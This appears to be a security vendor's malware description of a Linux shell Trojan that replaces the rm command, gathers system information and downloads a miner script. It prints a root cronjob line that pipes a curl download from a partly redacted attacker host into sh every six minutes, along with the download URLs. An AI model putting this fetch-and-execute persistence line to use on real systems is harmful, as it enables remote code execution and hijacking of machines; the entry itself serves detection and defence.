Trojan.SH.FAKERM.A

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://w.{BLOCKED}i.xyz:43768/init.sh
• http://w.{BLOCKED}n.xyz:43768/init.sh

Information Theft

This Trojan gathers the following data:

• CPU Information of the Machine
• System's Hardware Information
• System Version

Other Details

This Trojan does the following:

• Moves the contents of the file:
  
  • from /usr/bin/rm to /usr/bin/rmm
  
  Will then replace the content of the rm file into a malicious code that will randomize the routine of the rm into the following actions:
  
  • Removes a file
  • Downloads init.sh which is detected as Trojan.SH.MALXMR.UWEIV
• Checks the presence of the init.sh in the system. If not present will download the file.
• It creates a root cronjob to enable automatic execution of init.sh every 6 minutes:
  
  • Path: /var/spool/cron/root
  • Content: */6 * * * * curl -fsSL http://w.{BLOCKED}i.xyz:43768/init.sh | sh > /dev/null 2>&1